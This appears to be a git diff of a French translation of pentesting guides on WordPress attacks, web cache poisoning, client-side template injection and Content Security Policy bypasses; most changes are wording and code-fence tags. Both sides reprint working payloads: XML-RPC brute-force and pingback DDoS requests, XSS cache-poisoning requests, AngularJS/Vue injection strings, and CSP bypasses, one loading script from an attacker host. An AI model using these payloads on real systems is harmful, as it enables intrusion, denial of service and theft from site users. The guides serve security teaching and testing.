Cependant, certaines personnes utiliseront les **valeurs par défaut** de ces paramètres et utiliseront comme **cookie l'email de l'utilisateur**. Par conséquent, si vous pouvez trouver un site web utilisant la **même plateforme** qui utilise le cookie ASPXAUTH et que vous **créez un utilisateur avec l'email de l'utilisateur que vous souhaitez usurper** sur le serveur attaqué, vous pourrez peut-être **utiliser le cookie du deuxième serveur dans le premier** et usurper l'utilisateur.\
|
||||
Cependant, certaines personnes utiliseront les **valeurs par défaut** de ces paramètres et utiliseront comme **cookie l'email de l'utilisateur**. Par conséquent, si vous pouvez trouver un site web utilisant la **même plateforme** qui utilise le cookie ASPXAUTH et que vous **créez un utilisateur avec l'email de l'utilisateur que vous souhaitez usurper** sur le serveur attaqué, vous pourrez peut-être **utiliser le cookie du second serveur dans le premier** et usurper l'utilisateur.\
|
||||
Cette attaque a fonctionné dans ce [**writeup**](https://infosecwriteups.com/how-i-hacked-facebook-part-two-ffab96d57b19).
|
||||
|
||||
## Contournement de l'authentification IIS avec des mots de passe mis en cache (CVE-2022-30209) <a href="#id-3-iis-authentication-bypass" id="id-3-iis-authentication-bypass"></a>
|
||||
|
||||
[Rapport complet ici](https://blog.orange.tw/2022/08/lets-dance-in-the-cache-destabilizing-hash-table-on-microsoft-iis.html) : Un bug dans le code **n'a pas correctement vérifié le mot de passe donné par l'utilisateur**, donc un attaquant dont le **hash de mot de passe correspond à une clé** déjà dans le **cache** pourra se connecter en tant que cet utilisateur.
|
||||
[Rapport complet ici](https://blog.orange.tw/2022/08/lets-dance-in-the-cache-destabilizing-hash-table-on-microsoft-iis.html) : Un bug dans le code **n'a pas correctement vérifié le mot de passe donné par l'utilisateur**, donc un attaquant dont le **hash du mot de passe correspond à une clé** déjà dans le **cache** pourra se connecter en tant que cet utilisateur.
|
||||
```python
|
||||
# script for sanity check
|
||||
> type test.py
|
||||
|
||||
@ -7,7 +7,7 @@
|
||||
- Les fichiers **téléchargés** vont à : `http://10.10.10.10/wp-content/uploads/2018/08/a.txt`
|
||||
- Les fichiers **de thèmes peuvent être trouvés dans /wp-content/themes/,** donc si vous modifiez un php du thème pour obtenir RCE, vous utiliserez probablement ce chemin. Par exemple : En utilisant **le thème twentytwelve**, vous pouvez **accéder** au fichier **404.php** dans : [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
|
||||
|
||||
- Une autre URL utile pourrait être : [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
|
||||
- Une **autre URL utile pourrait être :** [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
|
||||
|
||||
- Dans **wp-config.php**, vous pouvez trouver le mot de passe root de la base de données.
|
||||
- Chemins de connexion par défaut à vérifier : _**/wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/**_
|
||||
@ -112,7 +112,7 @@ Si `xml-rpc.php` est actif, vous pouvez effectuer une attaque par force brute su
|
||||
Pour voir s'il est actif, essayez d'accéder à _**/xmlrpc.php**_ et envoyez cette requête :
|
||||
|
||||
**Vérifier**
|
||||
```markup
|
||||
```html
|
||||
<methodCall>
|
||||
<methodName>system.listMethods</methodName>
|
||||
<params></params>
|
||||
@ -123,7 +123,7 @@ Pour voir s'il est actif, essayez d'accéder à _**/xmlrpc.php**_ et envoyez cet
|
||||
**Bruteforce des identifiants**
|
||||
|
||||
**`wp.getUserBlogs`**, **`wp.getCategories`** ou **`metaWeblog.getUsersBlogs`** sont quelques-unes des méthodes qui peuvent être utilisées pour bruteforcer des identifiants. Si vous pouvez en trouver un, vous pouvez envoyer quelque chose comme :
|
||||
```markup
|
||||
```html
|
||||
<methodCall>
|
||||
<methodName>wp.getUsersBlogs</methodName>
|
||||
<params>
|
||||
@ -139,7 +139,7 @@ Le message _"Nom d'utilisateur ou mot de passe incorrect"_ dans une réponse de
|
||||
.png>)
|
||||
|
||||
En utilisant les identifiants corrects, vous pouvez télécharger un fichier. Dans la réponse, le chemin apparaîtra ([https://gist.github.com/georgestephanis/5681982](https://gist.github.com/georgestephanis/5681982))
|
||||
```markup
|
||||
```html
|
||||
<?xml version='1.0' encoding='utf-8'?>
|
||||
<methodCall>
|
||||
<methodName>wp.uploadFile</methodName>
|
||||
@ -174,13 +174,13 @@ Il existe également un **moyen plus rapide** de brute-forcer les identifiants e
|
||||
|
||||
**Contourner 2FA**
|
||||
|
||||
Cette méthode est destinée aux programmes et non aux humains, et est ancienne, donc elle ne prend pas en charge 2FA. Donc, si vous avez des identifiants valides mais que l'entrée principale est protégée par 2FA, **vous pourriez être en mesure d'abuser de xmlrpc.php pour vous connecter avec ces identifiants en contournant 2FA**. Notez que vous ne pourrez pas effectuer toutes les actions que vous pouvez faire via la console, mais vous pourriez tout de même être en mesure d'atteindre RCE comme l'explique Ippsec dans [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s)
|
||||
Cette méthode est destinée aux programmes et non aux humains, et est ancienne, donc elle ne prend pas en charge 2FA. Donc, si vous avez des identifiants valides mais que l'entrée principale est protégée par 2FA, **vous pourriez être en mesure d'abuser de xmlrpc.php pour vous connecter avec ces identifiants en contournant 2FA**. Notez que vous ne pourrez pas effectuer toutes les actions que vous pouvez faire via la console, mais vous pourriez toujours être en mesure d'accéder à RCE comme l'explique Ippsec dans [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s)
|
||||
|
||||
**DDoS ou scan de port**
|
||||
|
||||
Si vous pouvez trouver la méthode _**pingback.ping**_ dans la liste, vous pouvez faire en sorte que Wordpress envoie une requête arbitraire à n'importe quel hôte/port.\
|
||||
Cela peut être utilisé pour demander à **des milliers** de **sites** Wordpress d'**accéder** à un **emplacement** (ce qui provoque un **DDoS** à cet emplacement) ou vous pouvez l'utiliser pour faire en sorte que **Wordpress** **scanne** un **réseau** interne (vous pouvez indiquer n'importe quel port).
|
||||
```markup
|
||||
```html
|
||||
<methodCall>
|
||||
<methodName>pingback.ping</methodName>
|
||||
<params><param>
|
||||
@ -196,7 +196,7 @@ Si vous obtenez **faultCode** avec une valeur **supérieure** à **0** (17), cel
|
||||
Jetez un œil à l'utilisation de **`system.multicall`** dans la section précédente pour apprendre comment abuser de cette méthode pour provoquer un DDoS.
|
||||
|
||||
**DDoS**
|
||||
```markup
|
||||
```html
|
||||
<methodCall>
|
||||
<methodName>pingback.ping</methodName>
|
||||
<params>
|
||||
@ -307,7 +307,7 @@ Cette méthode implique l'installation d'un plugin malveillant connu pour être
|
||||
- Le framework Metasploit fournit un exploit pour cette vulnérabilité. En chargeant le module approprié et en exécutant des commandes spécifiques, une session meterpreter peut être établie, accordant un accès non autorisé au site.
|
||||
- Il est noté que ceci n'est qu'une des nombreuses méthodes pour exploiter un site WordPress.
|
||||
|
||||
Le contenu comprend des aides visuelles décrivant les étapes dans le tableau de bord WordPress pour installer et activer le plugin. Cependant, il est important de noter que l'exploitation de vulnérabilités de cette manière est illégale et contraire à l'éthique sans autorisation appropriée. Ces informations doivent être utilisées de manière responsable et uniquement dans un contexte légal, comme le pentesting avec autorisation explicite.
|
||||
Le contenu comprend des aides visuelles décrivant les étapes dans le tableau de bord WordPress pour installer et activer le plugin. Cependant, il est important de noter que l'exploitation de vulnérabilités de cette manière est illégale et contraire à l'éthique sans autorisation appropriée. Ces informations doivent être utilisées de manière responsable et uniquement dans un contexte légal, comme le pentesting avec une autorisation explicite.
|
||||
|
||||
**Pour des étapes plus détaillées, consultez :** [**https://www.hackingarticles.in/wordpress-reverse-shell/**](https://www.hackingarticles.in/wordpress-reverse-shell/)
|
||||
|
||||
@ -370,7 +370,7 @@ Le `permission_callback` est un rappel à une fonction qui vérifie si un utilis
|
||||
|
||||
Bien sûr, WordPress utilise PHP et les fichiers à l'intérieur des plugins sont directement accessibles depuis le web. Donc, dans le cas où un plugin expose une fonctionnalité vulnérable qui est déclenchée simplement en accédant au fichier, elle sera exploitable par n'importe quel utilisateur.
|
||||
|
||||
## Protection WordPress
|
||||
## Protection de WordPress
|
||||
|
||||
### Mises à jour régulières
|
||||
|
||||
|
||||
@ -21,11 +21,11 @@ L'exécution d'une attaque de poisonnement de cache implique plusieurs étapes :
|
||||
|
||||
### Découverte : Vérifiez les en-têtes HTTP
|
||||
|
||||
En général, lorsqu'une réponse a été **stockée dans le cache**, il y aura un **en-tête l'indiquant**, vous pouvez vérifier quels en-têtes vous devriez surveiller dans ce post : [**En-têtes de Cache HTTP**](../../network-services-pentesting/pentesting-web/special-http-headers.md#cache-headers).
|
||||
En général, lorsqu'une réponse a été **stockée dans le cache**, il y aura un **en-tête l'indiquant**, vous pouvez vérifier quels en-têtes vous devriez surveiller dans cet article : [**En-têtes de Cache HTTP**](../../network-services-pentesting/pentesting-web/special-http-headers.md#cache-headers).
|
||||
|
||||
### Découverte : Codes d'erreur de mise en cache
|
||||
|
||||
Si vous pensez que la réponse est stockée dans un cache, vous pourriez essayer d'**envoyer des requêtes avec un mauvais en-tête**, ce qui devrait être répondu par un **code d'état 400**. Ensuite, essayez d'accéder à la requête normalement et si la **réponse est un code d'état 400**, vous savez qu'elle est vulnérable (et vous pourriez même effectuer un DoS).
|
||||
Si vous pensez que la réponse est stockée dans un cache, vous pourriez essayer d'**envoyer des requêtes avec un mauvais en-tête**, qui devraient être répondues avec un **code d'état 400**. Ensuite, essayez d'accéder à la requête normalement et si la **réponse est un code d'état 400**, vous savez qu'elle est vulnérable (et vous pourriez même effectuer un DoS).
|
||||
|
||||
Vous pouvez trouver plus d'options dans :
|
||||
|
||||
@ -38,7 +38,7 @@ Cependant, notez que **parfois ces types de codes d'état ne sont pas mis en cac
|
||||
### Découverte : Identifier et évaluer les entrées non clés
|
||||
|
||||
Vous pourriez utiliser [**Param Miner**](https://portswigger.net/bappstore/17d2949a985c4b7ca092728dba871943) pour **forcer des paramètres et des en-têtes** qui peuvent **modifier la réponse de la page**. Par exemple, une page peut utiliser l'en-tête `X-Forwarded-For` pour indiquer au client de charger le script à partir de là :
|
||||
```markup
|
||||
```html
|
||||
<script type="text/javascript" src="//<X-Forwarded-For_value>/resources/js/tracking.js"></script>
|
||||
```
|
||||
### Éliciter une réponse nuisible du serveur back-end
|
||||
@ -47,24 +47,24 @@ Avec le paramètre/en-tête identifié, vérifiez comment il est **sanitisé** e
|
||||
|
||||
### Obtenir la réponse mise en cache
|
||||
|
||||
Une fois que vous avez **identifié** la **page** qui peut être abusée, quel **paramètre**/**en-tête** utiliser et **comment** l'**abuser**, vous devez faire mettre en cache la page. Selon la ressource que vous essayez de mettre en cache, cela peut prendre un certain temps, vous devrez peut-être essayer pendant plusieurs secondes.
|
||||
Une fois que vous avez **identifié** la **page** qui peut être abusée, quel **paramètre**/**en-tête** utiliser et **comment** en abuser, vous devez faire mettre en cache la page. Selon la ressource que vous essayez de mettre en cache, cela peut prendre un certain temps, vous devrez peut-être essayer pendant plusieurs secondes.
|
||||
|
||||
L'en-tête **`X-Cache`** dans la réponse pourrait être très utile car il peut avoir la valeur **`miss`** lorsque la requête n'est pas mise en cache et la valeur **`hit`** lorsqu'elle est mise en cache.\
|
||||
L'en-tête **`Cache-Control`** est également intéressant à connaître pour savoir si une ressource est mise en cache et quand la prochaine fois la ressource sera mise en cache à nouveau : `Cache-Control: public, max-age=1800`
|
||||
L'en-tête **`Cache-Control`** est également intéressant pour savoir si une ressource est mise en cache et quand la ressource sera mise en cache à nouveau : `Cache-Control: public, max-age=1800`
|
||||
|
||||
Un autre en-tête intéressant est **`Vary`**. Cet en-tête est souvent utilisé pour **indiquer des en-têtes supplémentaires** qui sont traités comme **partie de la clé de cache** même s'ils ne sont normalement pas clés. Par conséquent, si l'utilisateur connaît le `User-Agent` de la victime qu'il cible, il peut empoisonner le cache pour les utilisateurs utilisant ce `User-Agent` spécifique.
|
||||
|
||||
Un en-tête supplémentaire lié au cache est **`Age`**. Il définit le temps en secondes que l'objet a passé dans le cache proxy.
|
||||
|
||||
Lors de la mise en cache d'une requête, soyez **prudent avec les en-têtes que vous utilisez** car certains d'entre eux pourraient être **utilisés de manière inattendue** comme **clés** et la **victime devra utiliser ce même en-tête**. Testez toujours une empoisonnement de cache avec **différents navigateurs** pour vérifier si cela fonctionne.
|
||||
Lors de la mise en cache d'une requête, soyez **prudent avec les en-têtes que vous utilisez** car certains d'entre eux pourraient être **utilisés de manière inattendue** comme **clés** et la **victime devra utiliser ce même en-tête**. Testez toujours un empoisonnement de cache avec **différents navigateurs** pour vérifier si cela fonctionne.
|
||||
|
||||
## Exemples d'exploitation
|
||||
|
||||
### Exemple le plus simple
|
||||
|
||||
Un en-tête comme `X-Forwarded-For` est réfléchi dans la réponse sans être sanitisé.\
|
||||
Vous pouvez envoyer une charge utile XSS basique et empoisonner le cache afin que tout le monde qui accède à la page sera XSSé :
|
||||
```markup
|
||||
Vous pouvez envoyer une charge utile XSS basique et empoisonner le cache afin que tout le monde qui accède à la page soit XSSé :
|
||||
```html
|
||||
GET /en?region=uk HTTP/1.1
|
||||
Host: innocent-website.com
|
||||
X-Forwarded-Host: a."><script>alert(1)</script>"
|
||||
@ -80,7 +80,7 @@ cache-poisoning-to-dos.md
|
||||
### Utiliser l'empoisonnement de cache web pour exploiter les vulnérabilités de gestion des cookies
|
||||
|
||||
Les cookies pourraient également être reflétés dans la réponse d'une page. Si vous pouvez en abuser pour provoquer un XSS par exemple, vous pourriez être en mesure d'exploiter le XSS dans plusieurs clients qui chargent la réponse de cache malveillante.
|
||||
```markup
|
||||
```html
|
||||
GET / HTTP/1.1
|
||||
Host: vulnerable.com
|
||||
Cookie: session=VftzO7ZtiBj5zNLRAuFpXpSQLjS4lBmU; fehost=asd"%2balert(1)%2b"
|
||||
@ -107,17 +107,17 @@ cache-poisoning-via-url-discrepancies.md
|
||||
|
||||
### Utilisation de plusieurs en-têtes pour exploiter les vulnérabilités de poisoning du cache web <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
|
||||
|
||||
Parfois, vous devrez **exploiter plusieurs entrées non clés** pour pouvoir abuser d'un cache. Par exemple, vous pouvez trouver un **Open redirect** si vous définissez `X-Forwarded-Host` sur un domaine que vous contrôlez et `X-Forwarded-Scheme` sur `http`. **Si** le **serveur** **transmet** toutes les **requêtes HTTP** **vers HTTPS** et utilise l'en-tête `X-Forwarded-Scheme` comme nom de domaine pour la redirection. Vous pouvez contrôler où la page est pointée par la redirection.
|
||||
```markup
|
||||
Parfois, vous devrez **exploiter plusieurs entrées non clés** pour pouvoir abuser d'un cache. Par exemple, vous pouvez trouver un **Open redirect** si vous définissez `X-Forwarded-Host` sur un domaine contrôlé par vous et `X-Forwarded-Scheme` sur `http`. **Si** le **serveur** **transmet** toutes les **requêtes HTTP** **vers HTTPS** et utilise l'en-tête `X-Forwarded-Scheme` comme nom de domaine pour la redirection. Vous pouvez contrôler où la page est pointée par la redirection.
|
||||
```html
|
||||
GET /resources/js/tracking.js HTTP/1.1
|
||||
Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net
|
||||
X-Forwarded-Host: ac8e1f8f1fb1f8cb80586c1d01d500d3.web-security-academy.net/
|
||||
X-Forwarded-Scheme: http
|
||||
```
|
||||
### Exploiter avec un en-tête `Vary` limité
|
||||
### Exploitation avec un en-tête `Vary` limité
|
||||
|
||||
Si vous avez découvert que l'en-tête **`X-Host`** est utilisé comme **nom de domaine pour charger une ressource JS** mais que l'en-tête **`Vary`** dans la réponse indique **`User-Agent`**. Alors, vous devez trouver un moyen d'exfiltrer le User-Agent de la victime et de polluer le cache en utilisant cet agent utilisateur :
|
||||
```markup
|
||||
```html
|
||||
GET / HTTP/1.1
|
||||
Host: vulnerbale.net
|
||||
User-Agent: THE SPECIAL USER-AGENT OF THE VICTIM
|
||||
@ -142,13 +142,13 @@ Par exemple, il est possible de séparer les **paramètres** dans les serveurs r
|
||||
|
||||
Laboratoire Portswigger : [https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking)
|
||||
|
||||
### Exploitation de la Poisoning de Cache HTTP en abusant du Smuggling de Requêtes HTTP
|
||||
### Exploiter le Poisoning de Cache HTTP en abusant du Smuggling de Requêtes HTTP
|
||||
|
||||
Apprenez ici comment effectuer des [attaques de Poisoning de Cache en abusant du Smuggling de Requêtes HTTP](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-poisoning).
|
||||
|
||||
### Tests Automatisés pour la Poisoning de Cache Web
|
||||
### Tests Automatisés pour le Poisoning de Cache Web
|
||||
|
||||
Le [Web Cache Vulnerability Scanner](https://github.com/Hackmanit/Web-Cache-Vulnerability-Scanner) peut être utilisé pour tester automatiquement la poisoning de cache web. Il prend en charge de nombreuses techniques différentes et est hautement personnalisable.
|
||||
Le [Web Cache Vulnerability Scanner](https://github.com/Hackmanit/Web-Cache-Vulnerability-Scanner) peut être utilisé pour tester automatiquement le poisoning de cache web. Il prend en charge de nombreuses techniques différentes et est hautement personnalisable.
|
||||
|
||||
Exemple d'utilisation : `wcvs -u example.com`
|
||||
|
||||
@ -164,7 +164,7 @@ L'envoi d'une mauvaise valeur dans l'en-tête content-type a déclenché une ré
|
||||
|
||||
### GitLab + GCP CP-DoS
|
||||
|
||||
GitLab utilise des buckets GCP pour stocker du contenu statique. **Les Buckets GCP** prennent en charge l'**en-tête `x-http-method-override`**. Il était donc possible d'envoyer l'en-tête `x-http-method-override: HEAD` et de polluer le cache pour renvoyer un corps de réponse vide. Cela pouvait également prendre en charge la méthode `PURGE`.
|
||||
GitLab utilise des buckets GCP pour stocker du contenu statique. **Les Buckets GCP** prennent en charge l'**en-tête `x-http-method-override`**. Il était donc possible d'envoyer l'en-tête `x-http-method-override: HEAD` et de empoisonner le cache pour renvoyer un corps de réponse vide. Cela pouvait également prendre en charge la méthode `PURGE`.
|
||||
|
||||
### Middleware Rack (Ruby on Rails)
|
||||
|
||||
@ -176,17 +176,17 @@ Cloudflare a précédemment mis en cache les réponses 403. Tenter d'accéder à
|
||||
|
||||
### Injection de Paramètres Clés
|
||||
|
||||
Les caches incluent souvent des paramètres GET spécifiques dans la clé de cache. Par exemple, le Varnish de Fastly a mis en cache le paramètre `size` dans les requêtes. Cependant, si une version encodée de l'URL du paramètre (par exemple, `siz%65`) était également envoyée avec une valeur erronée, la clé de cache serait construite en utilisant le bon paramètre `size`. Pourtant, le backend traiterait la valeur dans le paramètre encodé. L'encodage URL du second paramètre `size` a conduit à son omission par le cache mais à son utilisation par le backend. L'attribution d'une valeur de 0 à ce paramètre a entraîné une erreur 400 Bad Request mise en cache.
|
||||
Les caches incluent souvent des paramètres GET spécifiques dans la clé de cache. Par exemple, le Varnish de Fastly a mis en cache le paramètre `size` dans les requêtes. Cependant, si une version encodée de l'URL du paramètre (par exemple, `siz%65`) était également envoyée avec une valeur erronée, la clé de cache serait construite en utilisant le bon paramètre `size`. Pourtant, le backend traiterait la valeur dans le paramètre encodé. L'encodage URL du deuxième paramètre `size` a conduit à son omission par le cache mais à son utilisation par le backend. L'attribution d'une valeur de 0 à ce paramètre a entraîné une erreur 400 Bad Request mise en cache.
|
||||
|
||||
### Règles de User Agent
|
||||
|
||||
Certains développeurs bloquent les requêtes avec des user-agents correspondant à ceux d'outils à fort trafic comme FFUF ou Nuclei pour gérer la charge du serveur. Ironiquement, cette approche peut introduire des vulnérabilités telles que la poisoning de cache et le DoS.
|
||||
Certains développeurs bloquent les requêtes avec des user-agents correspondant à ceux d'outils à fort trafic comme FFUF ou Nuclei pour gérer la charge du serveur. Ironiquement, cette approche peut introduire des vulnérabilités telles que le poisoning de cache et le DoS.
|
||||
|
||||
### Champs d'En-tête Illégaux
|
||||
|
||||
Le [RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230) spécifie les caractères acceptables dans les noms d'en-tête. Les en-têtes contenant des caractères en dehors de la plage **tchar** spécifiée devraient idéalement déclencher une réponse 400 Bad Request. En pratique, les serveurs ne respectent pas toujours cette norme. Un exemple notable est Akamai, qui transmet des en-têtes avec des caractères invalides et met en cache toute erreur 400, tant que l'en-tête `cache-control` n'est pas présent. Un modèle exploitable a été identifié où l'envoi d'un en-tête avec un caractère illégal, tel que `\`, entraînerait une erreur 400 Bad Request mise en cache.
|
||||
|
||||
### Trouver de nouveaux en-têtes
|
||||
### Trouver de Nouveaux En-têtes
|
||||
|
||||
[https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6](https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6)
|
||||
|
||||
|
||||
@ -6,11 +6,11 @@
|
||||
|
||||
C'est comme une [**Injection de Modèle Côté Serveur**](ssti-server-side-template-injection/index.html) mais dans le **client**. Le **SSTI** peut vous permettre d'**exécuter du code** sur le serveur distant, le **CSTI** pourrait vous permettre d'**exécuter du JavaScript** arbitraire dans le navigateur de la victime.
|
||||
|
||||
**Tester** cette vulnérabilité est très **similaire** au cas de **SSTI**, l'interpréteur s'attend à **un modèle** et l'exécutera. Par exemple, avec une charge utile comme `{{ 7-7 }}`, si l'application est **vulnérable**, vous verrez un `0`, et sinon, vous verrez l'original : `{{ 7-7 }}`
|
||||
**Tester** cette vulnérabilité est très **similaire** au cas de **SSTI**, l'interpréteur s'attend à **un modèle** et l'exécutera. Par exemple, avec un payload comme `{{ 7-7 }}`, si l'application est **vulnérable**, vous verrez un `0`, et sinon, vous verrez l'original : `{{ 7-7 }}`
|
||||
|
||||
## AngularJS
|
||||
|
||||
AngularJS est un framework JavaScript largement utilisé qui interagit avec HTML via des attributs connus sous le nom de directives, l'une d'elles étant **`ng-app`**. Cette directive permet à AngularJS de traiter le contenu HTML, permettant l'exécution d'expressions JavaScript à l'intérieur de doubles accolades.
|
||||
AngularJS est un framework JavaScript largement utilisé qui interagit avec HTML à travers des attributs connus sous le nom de directives, l'une des plus notables étant **`ng-app`**. Cette directive permet à AngularJS de traiter le contenu HTML, permettant l'exécution d'expressions JavaScript à l'intérieur de doubles accolades.
|
||||
|
||||
Dans des scénarios où l'entrée utilisateur est insérée dynamiquement dans le corps HTML étiqueté avec `ng-app`, il est possible d'exécuter du code JavaScript arbitraire. Cela peut être réalisé en tirant parti de la syntaxe d'AngularJS dans l'entrée. Voici des exemples démontrant comment du code JavaScript peut être exécuté :
|
||||
```javascript
|
||||
@ -31,11 +31,11 @@ Vous pouvez trouver une **implémentation vulnérable de Vue** à [https://vue-c
|
||||
Payload fonctionnel : [`https://vue-client-side-template-injection-example.azu.now.sh/?name=%7B%7Bthis.constructor.constructor(%27alert(%22foo%22)%27)()%7D%`](<https://vue-client-side-template-injection-example.azu.now.sh/?name=%7B%7Bthis.constructor.constructor(%27alert(%22foo%22)%27)()%7D%7D>)
|
||||
|
||||
Et le **code source** de l'exemple vulnérable ici : [https://github.com/azu/vue-client-side-template-injection-example](https://github.com/azu/vue-client-side-template-injection-example)
|
||||
```markup
|
||||
```html
|
||||
<!-- Google Research - Vue.js-->
|
||||
"><div v-html="''.constructor.constructor('d=document;d.location.hash.match(\'x1\') ? `` : d.location=`//localhost/mH`')()"> aaa</div>
|
||||
```
|
||||
Un très bon article sur le CSTI dans VUE peut être trouvé à [https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets](https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets)
|
||||
Un très bon article sur CSTI dans VUE peut être trouvé à [https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets](https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets)
|
||||
|
||||
### **V3**
|
||||
```
|
||||
|
||||
@ -6,9 +6,9 @@
|
||||
|
||||
La Politique de Sécurité du Contenu (CSP) est reconnue comme une technologie de navigateur, principalement destinée à **protéger contre des attaques telles que le cross-site scripting (XSS)**. Elle fonctionne en définissant et en détaillant les chemins et les sources à partir desquels les ressources peuvent être chargées en toute sécurité par le navigateur. Ces ressources englobent une gamme d'éléments tels que des images, des cadres et du JavaScript. Par exemple, une politique pourrait permettre le chargement et l'exécution de ressources depuis le même domaine (self), y compris les ressources en ligne et l'exécution de code sous forme de chaîne via des fonctions comme `eval`, `setTimeout` ou `setInterval`.
|
||||
|
||||
La mise en œuvre de CSP se fait par le biais des **en-têtes de réponse** ou en incorporant des **éléments meta dans la page HTML**. En suivant cette politique, les navigateurs appliquent proactivement ces stipulations et bloquent immédiatement toute violation détectée.
|
||||
La mise en œuvre de CSP se fait par le biais de **headers de réponse** ou en incorporant **des éléments meta dans la page HTML**. En suivant cette politique, les navigateurs appliquent proactivement ces stipulations et bloquent immédiatement toute violation détectée.
|
||||
|
||||
- Mis en œuvre via l'en-tête de réponse :
|
||||
- Mis en œuvre via le header de réponse :
|
||||
```
|
||||
Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com; style-src 'self';
|
||||
```
|
||||
@ -58,13 +58,13 @@ object-src 'none';
|
||||
- **report-to**: Spécifie un groupe auquel un rapport sera envoyé si la politique est violée.
|
||||
- **worker-src**: Spécifie les sources valides pour les scripts Worker, SharedWorker ou ServiceWorker.
|
||||
- **prefetch-src**: Spécifie les sources valides pour les ressources qui seront récupérées ou pré-récupérées.
|
||||
- **navigate-to**: Restreint les URL vers lesquelles un document peut naviguer par tous moyens (a, form, window.location, window.open, etc.)
|
||||
- **navigate-to**: Restreint les URL vers lesquelles un document peut naviguer par n'importe quel moyen (a, form, window.location, window.open, etc.)
|
||||
|
||||
### Sources
|
||||
|
||||
- `*`: Permet toutes les URL sauf celles avec les schémas `data:`, `blob:`, `filesystem:`.
|
||||
- `'self'`: Permet le chargement depuis le même domaine.
|
||||
- `'data'`: Permet le chargement de ressources via le schéma de données (par exemple, des images encodées en Base64).
|
||||
- `'data'`: Permet le chargement de ressources via le schéma de données (par exemple, images encodées en Base64).
|
||||
- `'none'`: Bloque le chargement depuis toute source.
|
||||
- `'unsafe-eval'`: Permet l'utilisation de `eval()` et de méthodes similaires, non recommandé pour des raisons de sécurité.
|
||||
- `'unsafe-hashes'`: Active des gestionnaires d'événements en ligne spécifiques.
|
||||
@ -128,12 +128,12 @@ Charge utile fonctionnelle :
|
||||
|
||||
Si vous parvenez d'une manière ou d'une autre à faire en sorte qu'un **code JS autorisé crée une nouvelle balise script** dans le DOM avec votre code JS, parce qu'un script autorisé la crée, la **nouvelle balise script sera autorisée à être exécutée**.
|
||||
|
||||
### Wildcard (\*)
|
||||
### Wildcard (*)
|
||||
```yaml
|
||||
Content-Security-Policy: script-src 'self' https://google.com https: data *;
|
||||
```
|
||||
Charge utile fonctionnelle :
|
||||
```markup
|
||||
```html
|
||||
"/>'><script src=https://attacker-website.com/evil.js></script>
|
||||
"/>'><script src=data:text/javascript,alert(1337)></script>
|
||||
```
|
||||
@ -144,7 +144,7 @@ Charge utile fonctionnelle :
|
||||
Content-Security-Policy: script-src 'self' ;
|
||||
```
|
||||
Payloads fonctionnels :
|
||||
```markup
|
||||
```html
|
||||
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>
|
||||
">'><object type="application/x-shockwave-flash" data='https: //ajax.googleapis.com/ajax/libs/yui/2.8.0 r4/build/charts/assets/charts.swf?allowedDomain=\"})))}catch(e) {alert(1337)}//'>
|
||||
<param name="AllowScriptAccess" value="always"></object>
|
||||
@ -156,7 +156,7 @@ Content-Security-Policy: script-src 'self'; object-src 'none' ;
|
||||
Si vous pouvez télécharger un fichier JS, vous pouvez contourner cette CSP :
|
||||
|
||||
Payload fonctionnel :
|
||||
```markup
|
||||
```html
|
||||
"/>'><script src="/uploads/picture.png.js"></script>
|
||||
```
|
||||
Cependant, il est très probable que le serveur **valide le fichier téléchargé** et n'autorise que le **téléchargement de types de fichiers déterminés**.
|
||||
@ -176,7 +176,7 @@ Si l'injection de JS n'est pas possible, vous pourriez toujours essayer d'exfilt
|
||||
```yaml
|
||||
Content-Security-Policy: script-src https://cdnjs.cloudflare.com 'unsafe-eval';
|
||||
```
|
||||
Charger une version vulnérable d'angular et exécuter du JS arbitraire :
|
||||
Charge une version vulnérable d'angular et exécutez du JS arbitraire :
|
||||
```xml
|
||||
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.4.6/angular.js"></script>
|
||||
<div ng-app> {{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1);//');}} </div>
|
||||
@ -201,7 +201,7 @@ With some bypasses from: https://blog.huli.tw/2022/08/29/en/intigriti-0822-xss-a
|
||||
|
||||
> [!NOTE]
|
||||
> Le post montre que vous pourriez **charger** toutes les **bibliothèques** depuis `cdn.cloudflare.com` (ou tout autre dépôt de bibliothèques JS autorisé), exécuter toutes les fonctions ajoutées de chaque bibliothèque, et vérifier **quelles fonctions de quelles bibliothèques retournent l'objet `window`**.
|
||||
```markup
|
||||
```html
|
||||
<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
|
||||
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.js" /></script>
|
||||
<div ng-app ng-csp>
|
||||
@ -232,7 +232,7 @@ Angular XSS à partir d'un nom de classe :
|
||||
```
|
||||
#### Abuser du code JS de google recaptcha
|
||||
|
||||
